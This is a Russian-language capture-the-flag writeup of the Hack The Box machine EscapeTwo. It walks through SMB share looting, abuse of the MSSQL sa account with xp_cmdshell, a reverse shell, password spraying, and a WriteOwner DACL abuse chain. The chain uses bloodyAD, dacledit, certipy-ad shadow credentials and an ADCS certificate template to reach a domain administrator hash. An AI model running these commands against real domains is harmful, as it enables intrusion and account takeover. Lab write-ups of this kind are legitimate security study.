Skip to main content

EscapeTwo HTB Writeup

·616 words·3 mins·
Author
FaLLenSkiLL

Описание изображения

HTB machine link:

https://app.hackthebox.com/machines/EscapeTwo

Recon
#

Из описания тачки нам уже была предоставлена базовая учетная запись для старта: «Как обычно бывает в реальных пентестах Windows, вы запустите эту машину с учетными данными следующей учетной записи: rose / KxEPkKe6R8su».

Описание изображения

rose
KxEPkKe6R8su

Просканируем открыте порты, тут у нас все стандартно для windows машины

Описание изображения

Начнём с проверки выданной нам учетки на валидность и добавим полученное доменное имя sequel.htb в /etc/hosts/

Описание изображения

Описание изображения

echo "10.10.11.51 sequel.htb" | sudo tee -a /etc/hosts

User flag
#

Попробуем базовое перечисление smb

Описание изображения

Можно зайти через smbclient

Описание изображения

Бегая по каталогам, находим интересный нам Accounting Department. Нужно скачать его с помощью команды get, а затем распаковать.

smbclient //10.10.11.51/Accounting\ Department -U rose --option='client min protocol=SMB2'

Описание изображения

Описание изображения

Описание изображения

Внутри будут находиться учетные данные пользователей, которые мы сможем использовать позже.

Описание изображения

Описание изображения

Учетная запись sa является дефолтной админской учёткой для подключения и управления БД MSSQL. Проверка показала, что учетка валидная, попробуем воспользоваться mssqlclient из impacket для входа в систему.

Описание изображения

Отлично, теперь мы - sa!) По умолчанию хранимая процедура xp_cmdshell отключена в MSSQL, но мы можем её включить и пользоваться всеми её преимуществами.

Обязательно обыскиваем хост на предмет чего-то полезного. Например, на нём есть примечательные файлы для развертывания MSSQL.

Описание изображения

Сохраняем SQLSVCPASSWORD, он нам пригодится позже.

Самое полезное, что удаётся сделать - поймать reverse shell на свой прослушиватель. В примере ниже используется PowerShell нагрузка, закодированная в base64.

Описание изображения

На текущий момент мы являемся пользователем sql_svc. У него есть определенные привилегии, например можно запустить winPEAS и быстренько собрать ключевую информацию о системе.

Описание изображения

Описание изображения

Один из интересных моментов - информация о том, что в системе когда-либо были авторизованы всего три пользователя - sql_svc, Administrator и ryan (жаль, что не Гослинг). Не трудно догадаться, что получение прав этого пользователя и будет нашим следующим вектором.

Методом проб и ошибок было определено, что для аутентификацией под пользователем ryan достаточно просто подобрать к нему пароль по списку всех паролей, ранее собранных в системе.

Описание изображения

Таким образом мы получаем возможность аутентифицироваться на сервере под пользователем ryan. На рабочем столе пользователя забираем user flag.

Описание изображения

Root flag
#

Далее рассмотрим эксплуатацию списков контроля дискреционного доступа (Discretionary Access Control Lists, DACL) с использованием разрешения WriteOwner. Злоупотребление разрешением WriteOwner может привести к смене владельца объекта на контролируемого злоумышленником пользователя (в данном случае им является ryan) и захвату объекта.

Поиску вектора поспособствовал отчёт bloodhound.

Описание изображения

На схеме чётко видим, что за счёт прав WriteOwner от пользователя ryan можно заабузить учётку ca_svc.

Описание изображения

Ниже перечислены команды, которые помогут нам захватить контроль над ca_svc

Используем bloodyAD для изменения владельца объекта ca_svc на пользователя ryan:

bloodyAD --host {host name} -d {domain name} -u {user} -p {password} set owner ca_svc ryan  

Описание изображения

Далее установим полные права (FullControl) для ryan. Теперь мы сможем от этого пользователя управлять объектом, включая возможность его изменения и удаления.

dacledit.py -action 'write' -rights 'FullControl' -principal '{user}' -target 'ca_svc' '{domain name}'/'{user}':'{password}'  

Следующая команда certipy-ad для автоматического абьюза shadow учетной записи ca_svc. Мы подключается к контроллеру домена по IP-адресу (-dc-ip) и используем указанные учетные данные для аутентификации.

certipy-ad shadow auto -u {user}@{domain} -p '{pass}' -dc-ip {ip} -ns {ip} -target {ip} -account ca_svc 

Описание изображения

Далее ищем уязвимости в целевом хосте с использованием Kerberos аутентификации.

KRB5CCNAME=$PWD/ca_svc.ccache certipy-ad find -scheme ldap -k -debug -target {host name} -dc-ip {ip} -vulnerable -stdout

Описание изображения

Команда ниже создает запрос на получение сертификата с использованием шаблона DunderMifflinAuthentication.

KRB5CCNAME=$PWD/ca_svc.ccache certipy-ad template -k -template DunderMifflinAuthentication -target {host name} -dc-ip {ip}

Описание изображения

Эта команда создает запрос на сертификат для учетной записи ca_svc, используя указанные хеши и шаблон:

certipy-ad req -u ca_svc -hashes :hashes -ca sequel-DC01-CA -target {host} -dc-ip {ip} -template DunderMifflinAuthentication -upn Administrator@{domain} -ns {ip} -dns {ip}  

Описание изображения

Теперь дело за малым - аутентифицируемся с использованием PFX-файла, который был получен шагом ранее:

certipy-ad auth -pfx {some.pfx} -dc-ip {ip}

В замен мы получаем хеш.

Описание изображения

Всё, что остается - воспользоваться evil-winrm и свеженьким хешом администратора. На рабочем столе нас будет ждать root flag.

Описание изображения

@PentestNotes